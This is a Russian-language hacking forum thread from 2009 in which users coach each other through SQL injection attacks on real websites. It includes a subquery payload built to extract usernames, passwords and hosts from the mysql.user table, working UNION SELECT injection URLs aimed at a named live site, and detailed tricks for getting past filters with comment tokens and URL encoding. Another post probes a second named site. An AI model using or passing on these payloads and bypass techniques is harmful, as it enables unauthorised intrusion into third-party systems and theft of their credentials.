Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

18.03.2009, 20:43
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
http://pastebin.com/m19eaa637
Переменная form_number не проходит фильтрацию...Но я так понял,что даже если она и уязвима,то вывода не будет ?
PHP код:
$result = mysql_query("INSERT INTO Users
(firstname,lastname,school_id,description,email,username,password)
VALUES
('$firstname','$lastname','$school_id','$form_number','$email','$username',
Password('$password'))");
В school_id только XSS...
В остальных переменных режутся хтмл и пхп strip_tags() функцией...не знаю,что и делать.Что касается проверки длины полей хтмл формы,то проверка идёт только на уровне приложения,а сервер отдыхает...Хотя бы поле password. Может,кто найдёт здесь sql inj или щё что-нибудь интересное ?
ПЫСЫ: Если что, то приму минусы в подарок,если написал не туда,куда полагается...
Последний раз редактировалось Велемир; 18.03.2009 в 20:52..
Причина: да вот)
|
|
|

18.03.2009, 21:12
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме: 1754802
Репутация:
380
|
|
Сообщение от Велемир
http://pastebin.com/m19eaa637
Переменная form_number не проходит фильтрацию...Но я так понял,что даже если она и уязвима,то вывода не будет ?
PHP код:
$result = mysql_query("INSERT INTO Users
(firstname,lastname,school_id,description,email,username,password)
VALUES
('$firstname','$lastname','$school_id','$form_number','$email','$username',
Password('$password'))");
если $form_number уязвима и MySQL поддерживает подзапросы + кавычки не слешируються то можешь зделать своеобразный вывод в пользовательских профиле(естественно это имеет смысл еслу тебя есть доступ к данным пользователя), то есть что то типо такого:
$form_number = 1',(select concat_ws(0x3a,user,password,host) from mysql.user limit 1),'dodik','pass' /*
потом ишешь пользователя dodik и по идее у него в мыли будет лежать наш подзапрос.
|
|
|

18.03.2009, 21:12
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме: 791766
Репутация:
61
|
|
Код HTML:
http://www.gmpr.ru/news_item.php?id=699'
А дальше не воспринимает....
Код HTML:
http://www.gmpr.ru/news_item.php?id=699+group+by+400--
|
|
|

18.03.2009, 21:18
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме: 3152874
Репутация:
1020
|
|
Сообщение от Byrger
Код HTML:
http://www.gmpr.ru/news_item.php?id=699'
А дальше не воспринимает....
Код HTML:
http://www.gmpr.ru/news_item.php?id=699+group+by+400--
там же видно по ошибке что переменая вставляеться в кавычке:
PHP код:
http://www.gmpr.ru/news_item.php?id=699123123'+union+select+1,2,concat_ws(0x3A,user(),@@version,database()),4,5,6,7,8,9,10--+
Последний раз редактировалось AkyHa_MaTaTa; 18.03.2009 в 21:20..
Причина: некрасиво
|
|
|

18.03.2009, 22:25
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме: 791766
Репутация:
61
|
|
Если в ошибки от скули приходит с + то как поставить пробел?
И она не воспринимает --
|
|
|

18.03.2009, 23:02
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме: 3152874
Репутация:
1020
|
|
Сообщение от Byrger
Если в ошибки от скули приходит с + то как поставить пробел?
И она не воспринимает --
Когда в MySQL используешь комент -- то после него надо ставить пробел --+, судя по всему скуля у тебя в чпу можешь попробывать использывать /**/ вместо пробелов, а в качестве комента закрываюшего оставшийся запрос - #( беда с # в том что браузер может воспринять # как анкор поэтому обычно вставляют %23 ) и если у тебя логика(считай регулярка) чпу требует что бы переменная которая вставляеться в запрос находилась между // то у тебя например когда ты делаешь вот так : /**/order/**/by/**/1#/(потому как пробелы не urldecode то и %23 наверно так и останиться %23) в качестве значения переменой пойдет ** в запрос, можешь попробывать %20 вместо пробелов(хотя если производилось urldecode запроса то и + могли бы пройти), вообшем с чпу не всегда все просто и понятно, единственым решением являеться прямое обрашения к скрипту с передачей ему нужных значений как это делает чпу что не всегда возможно по ряду причин.
|
|
|

19.03.2009, 08:28
|
|
Постоянный
Регистрация: 07.03.2008
Сообщений: 479
Провел на форуме: 791766
Репутация:
61
|
|
Сообщение от AkyHa_MaTaTa
Когда в MySQL используешь комент -- то после него надо ставить пробел --+, судя по всему скуля у тебя в чпу можешь попробывать использывать /**/ вместо пробелов, а в качестве комента закрываюшего оставшийся запрос - #( беда с # в том что браузер может воспринять # как анкор поэтому обычно вставляют %23 ) и если у тебя логика(считай регулярка) чпу требует что бы переменная которая вставляеться в запрос находилась между // то у тебя например когда ты делаешь вот так : /**/order/**/by/**/1#/(потому как пробелы не urldecode то и %23 наверно так и останиться %23) в качестве значения переменой пойдет ** в запрос, можешь попробывать %20 вместо пробелов(хотя если производилось urldecode запроса то и + могли бы пройти), вообшем с чпу не всегда все просто и понятно, единственым решением являеться прямое обрашения к скрипту с передачей ему нужных значений как это делает чпу что не всегда возможно по ряду причин.
PHP код:
ov/'%20%23/**/+--+group+by+1--+/'
Вообще не как не пускает....а запрос выгледит так..
PHP код:
SELECT `ID`, `Name` FROM `menu` WHERE roup_ID` = '2' AND `Active` = '1' AND `URL` = '/arti....erov/'/**/group/**/by/**/1+--+/'
В ошибке он ругается на /' тоесть похоже что запросе не прерывется (MySQL стоит...)
|
|
|

19.03.2009, 09:06
|
|
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме: 3152874
Репутация:
1020
|
|
ну ты же видешь что после -- у нас идет + а должен быть пробел, попробуй так '/**/group/**/by/**/1/*/, и если подерживаеться union - '/**/union/**/select/**/1,2/*/ может последний слеш и не нужен, судя по запросу если он действительно полный то можно обойтись и вообше без коментов
'/**/union/**/select/**/1,2/**/'/
SELECT `ID`, `Name` FROM `menu` WHERE roup_ID` = '2' AND `Active` = '1' AND `URL` = '/arti....erov/'/**/union/**/select/**/1,2/**/'/'
а вообше вылаживай линк или в пм раз сайт пентагона под прицелом.
Последний раз редактировалось AkyHa_MaTaTa; 19.03.2009 в 09:26..
|
|
|

19.03.2009, 21:07
|
|
Познающий
Регистрация: 19.11.2006
Сообщений: 32
Провел на форуме: 95879
Репутация:
5
|
|
Вопрос, это бага или нет?
http://aeiou.visao.pt/gen.pl?p=users&op=view&user=12849'
не sql injec
И ещё, как ведёт себя perl с иньекциями? (если как то ведёт вообще) и где можно почитать об этом.Просто ни разу не сталкивался...
так же как и php и asp
sql injec - проблема не интерпритации языков а проблема запросов (в основном)
где можно почитать об этом
google рулит
|
|
|

19.03.2009, 21:21
|
|
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме: 2075230
Репутация:
462
|
|
Imperou$, естественно прав нехватает. повышай.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|